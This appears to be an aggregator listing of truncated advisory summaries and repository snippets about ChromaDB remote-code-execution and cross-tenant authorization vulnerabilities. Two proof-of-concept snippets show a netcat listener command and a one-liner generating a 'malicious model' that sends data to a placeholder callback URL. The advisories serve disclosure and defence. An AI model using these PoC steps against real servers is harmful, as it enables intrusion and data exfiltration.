sentrysearch

SentrySearch 비디오 영상에 대한 시맨틱 검색. 찾고 있는 것을 입력하면 잘라낸 클립을 돌려받습니다. !IMPORTANT 공식 소스: github.com/ssrajadh/sentrysearch가 SentrySearch의 유일한 공식 홈입니다. 이 프로젝트를 재게시하거나 미러링하는 다른 사이트는 유지관리자와 제휴하거나 승인받지 않았으므로, 항상 이 저장소에서 다운로드하세요. 언어: English · 简体中文 새로운 기능: Apple Silicon용 MLX 백엔드: 로컬 2B 모델을 동일한 정확도로 절반 이하의 메모리에서...

FULL-ANALYSIS---CVE-2026-45829-ChromaDB-

CVE-2026-45829 - ChromaDB Pre-Auth RCE CVSS 10.0 ⚠️ 警告 このリポジトリには、CVE-2026-45829 の動作する PoC が含まれています。 許可された管理環境でのテストのみを目的としています。 説明 ChromaDB バージョン 1.0.0 から 1.5.8 の重大な脆弱性により、認証されていない攻撃者が trustremotecode=true を使用して Hugging Face から悪意のあるモデルをロードすることで、任意のコードを実行できます。 PoC の使用方法 リスナーの準備 nc -lvnp 4444...

CVE-2026-45829

🚨 CVE-2026-45829 - ChromaDB 사전 인증 RCE ChromaDB 벡터 데이터베이스의 치명적인 원격 코드 실행 📌 개요 CVE-2026-45829 는 인기 있는 오픈소스 AI 벡터 데이터베이스인 ChromaDB 의 치명적인 사전 인증 원격 코드 실행 취약점입니다. 인증되지 않은 공격자는 ChromaDB가 임베딩 함수 설정을 처리하는 방식을 악용하여 서버에서 전체 원격 코드 실행 을 달성할 수 있습니다. 주요 정보 항목| 세부 내용 ---|--- CVE ID| CVE-2026-45829 심각도| 치명적 CVSS...

Project-CVE-2026-45833

Project-CVE-2026-45833 CVE-2026-45833 ChromaDB 自己責任で使用してください 一部のコードは修正が必要です。 1. 悪意のあるモデルを生成 python3 -c " from main import MaliciousModelGenerator gen = MaliciousModelGenerator gen.generatemodel'exfil-model', 'exfilenv', 'exfilurl': 'http://your-server.com/callback' " 2...

PYSEC-2026-3815 ChromaDB's SimpleRBACAuthorizationProvider doesn't check which tenant, database, or collection a permission applies to

The SimpleRBACAuthorizationProvider authorization provider in versions 0.5.0 or later of the ChromaDB Python project evaluates whether a user holds a given permission but never checks which tenant, database, or collection that permission applies to allowing users to perform cross tenant actions...

ChromaDB allows any authenticated users to arbitrarily read, write, update, or delete data in any tenant's collection

A lack of authorization validation in version 0.4.17 or later of the ChromaDB Python project allows any authenticated users to arbitrarily read, write, update, or delete data in any tenant's collection regardless of which tenant they belong to...

ChromaDB's SimpleRBACAuthorizationProvider doesn't check which tenant, database, or collection a permission applies to

The SimpleRBACAuthorizationProvider authorization provider in versions 0.5.0 or later of the ChromaDB Python project evaluates whether a user holds a given permission but never checks which tenant, database, or collection that permission applies to allowing users to perform cross tenant actions...

ChromaDB has a code injection vulnerability

A code injection vulnerability in version 0.4.17 or later of the ChromaDB Python project allows an authenticated attacker to run arbitrary code on the server by sending a malicious model repository and trustremotecode set to true in...

PYSEC-2026-3814 ChromaDB has a code injection vulnerability

A code injection vulnerability in version 0.4.17 or later of the ChromaDB Python project allows an authenticated attacker to run arbitrary code on the server by sending a malicious model repository and trustremotecode set to true in...

PYSEC-2026-3813 ChromaDB allows any authenticated users to arbitrarily read, write, update, or delete data in any tenant's collection

A lack of authorization validation in version 0.4.17 or later of the ChromaDB Python project allows any authenticated users to arbitrarily read, write, update, or delete data in any tenant's collection regardless of which tenant they belong to...

ChromaDB Python project has a pre-authentication code injection vulnerability

A pre-authentication, code injection vulnerability in version 1.0.0 or later of the ChromaDB Python project allows an unauthenticated attacker to run arbitrary code on the server by sending a malicious model repository and trustremotecode set to true in...

PYSEC-2026-311 ChromaDB Python project has a pre-authentication code injection vulnerability

A pre-authentication, code injection vulnerability in version 1.0.0 or later of the ChromaDB Python project allows an unauthenticated attacker to run arbitrary code on the server by sending a malicious model repository and trustremotecode set to true in...

PT-2026-53404

A pre-authentication, code injection vulnerability in version 1.0.0 or later of the ChromaDB Python project allows an unauthenticated attacker to run arbitrary code on the server by sending a malicious model repository and trust remote code set to true in...

CVE-2026-45831

A flaw was found in the SimpleRBACAuthorizationProvider authorization provider in the ChromaDB Python project. This vulnerability allows an authenticated user to perform actions across different tenants, databases, or collections without proper authorization. The provider incorrectly evaluates us...

CVE-2026-45833

A flaw was found in the ChromaDB Python project. An authenticated attacker with UPDATECOLLECTION permission could exploit a code injection vulnerability. By sending a malicious model repository to a specific API endpoint with trustremotecode enabled, the attacker can execute arbitrary code on the...

CVE-2026-45832

A flaw was found in ChromaDB. All V1 collection-level endpoints in the Python project pass null values for tenant and database to the authorization layer. This allows a remote attacker to bypass authorization controls by utilizing these V1 endpoints. The primary consequence is unauthorized access...

CVE-2026-45830

A flaw was found in ChromaDB. A lack of authorization validation in the ChromaDB Python project allows any authenticated user to read, write, update, or delete data in any tenant's collection. This means an attacker can bypass intended access controls and manipulate data across different tenants,...

GHSA-XPH7-9RJV-W5FR ChromaDB's SimpleRBACAuthorizationProvider doesn't check which tenant, database, or collection a permission applies to

The SimpleRBACAuthorizationProvider authorization provider in versions 0.5.0 or later of the ChromaDB Python project evaluates whether a user holds a given permission but never checks which tenant, database, or collection that permission applies to allowing users to perform cross tenant actions...

ChromaDB has a code injection vulnerability

A code injection vulnerability in version 0.4.17 or later of the ChromaDB Python project allows an authenticated attacker to run arbitrary code on the server by sending a malicious model repository and trustremotecode set to true in...

ChromaDB allows any authenticated users to arbitrarily read, write, update, or delete data in any tenant's collection

A lack of authorization validation in version 0.4.17 or later of the ChromaDB Python project allows any authenticated users to arbitrarily read, write, update, or delete data in any tenant's collection regardless of which tenant they belong to...